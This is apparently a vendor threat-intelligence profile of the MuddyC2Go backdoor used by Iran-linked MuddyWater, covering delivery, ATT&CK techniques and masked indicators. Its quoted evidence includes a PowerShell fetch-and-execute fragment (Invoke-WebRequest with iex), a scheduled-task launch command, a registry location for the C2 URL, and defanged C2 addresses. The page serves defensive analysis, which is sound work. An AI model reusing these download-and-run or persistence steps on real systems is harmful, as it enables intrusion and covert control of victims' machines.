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Malware2 associated actors

MuddyC2Go

Tracked since Mar 18, 2026 · Updated 24 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
Vulns0Associated
Actors2Associated
ATT&CK10Techniques
IOCs49Tracked
Type
Backdoor
Capabilities
Post exploitationPersistenceDLL sideloadingDefense evasion
Delivery
Spearphishing
Platforms
Windows

MuddyC2Go is a command-and-control framework and associated Windows backdoor tooling used by MuddyWater, also known as Seedworm, an Iranian cyberespionage group linked to Iran’s Ministry of Intelligence and Security. Publicly documented in November 2023, the framework has a server-side web component written in Go and relies heavily on PowerShell for endpoint execution and post-compromise command handling.

Observed infection chains use PowerGUI-built executables containing embedded PowerShell to connect automatically to command-and-control infrastructure. The server supplies additional PowerShell code that periodically polls for operator commands; one observed implementation checked every ten seconds. Another launcher retrieves its connection configuration from the Windows registry, downloads PowerShell content, and executes it. Deployments have used DLL sideloading through a legitimate Java executable and scheduled tasks to maintain execution.

MuddyC2Go-associated campaigns have distributed executables through password-protected RAR archives, within MuddyWater’s broader spearphishing operations. Password protection helps evade email attachment inspection. Documented deployments include an attack against a Jordanian company, activity targeting an Iraqi telecommunications provider, and a November 2023 campaign against telecommunications organizations in Egypt, Sudan, and Tanzania. Operators have deployed MuddyC2Go alongside legitimate remote administration software and separate proxy utilities.

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Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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MuddyWater (Boggy Serpens)

«Среди инструментов — MuddyC2Go (написан на Go) и кастомные импланты.»

via codebycodeby.net
MuddyWater

Deep Instinct’s Threat Research team has identified a previously unreported C2 framework suspected to be in use by MuddyWater ... The framework’s web component is written in the Go programming language – hence the name we gave it: MuddyC2Go

via deepinstinct blogdeepinstinct.com
MITRE ATT&CK

Techniques & procedures

10 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1583.006Web ServicesEvidence1

"COBALT ULSTER leverages compromised infrastructure for command and control."

Initial Access

1 technique
T1566.001Spearphishing AttachmentEvidence1

Previous research has shown typical MuddyWater TTPs include spear-phishing emails containing archives or links to archives that include various legitimate remote administration tools.

Execution

3 techniques
T1053.005Scheduled TaskEvidence1

Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"

T1059.001PowerShellEvidence3

The response from the C2 is again a PowerShell script that runs every 10 seconds and waits for commands from the operator using the C2. | Instead of using a remote administration tool where an operator executes a PowerShell script to connect to MuddyWater’s C2, a new executable is now being sent. This executable contains an embedded PowerShell script that automatically connects to MuddyWater’s C2.

T1204.002Malicious FileEvidence1

Group-IB identified an LNK file from October 2022 that was communicating with the IP address 91.121.240[.]108. | When this file is opened, the malicious execution chain eventually leads to the C2 server 162.223.89[.]11.

Persistence

2 techniques
T1053.005Scheduled TaskEvidence1

Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"

T1112Modify RegistryEvidence1

The malware reads the C&C URL from the Windows registry value “End” stored inside the key “HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip”. The URL path is read from the “Status” value...

Privilege Escalation

1 technique
T1053.005Scheduled TaskEvidence1

Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"

Defense Impairment

1 technique
T1112Modify RegistryEvidence1

The malware reads the C&C URL from the Windows registry value “End” stored inside the key “HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip”. The URL path is read from the “Status” value...

Collection

1 technique
T1560.001Archive via UtilityEvidence1

The archives are now password protected. This is done to evade email security solutions that scan files inside archives without a password.

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence2

The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server... Invoke-WebRequest -Uri $uri -Method GET ... iex $response.Content;

T1071.001Web ProtocolsEvidence1

“beacon to a custom C2 server… MuddyWater has used PhonyC2 in the past… using… MuddyC2Go”

T1568Dynamic ResolutionEvidence1

After communicating with the C2, the communication is switched to dynamic DNS using the address “microsoftfice.ddns[.]net”

Indicators of compromise

Observables

49 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching49Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping10Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.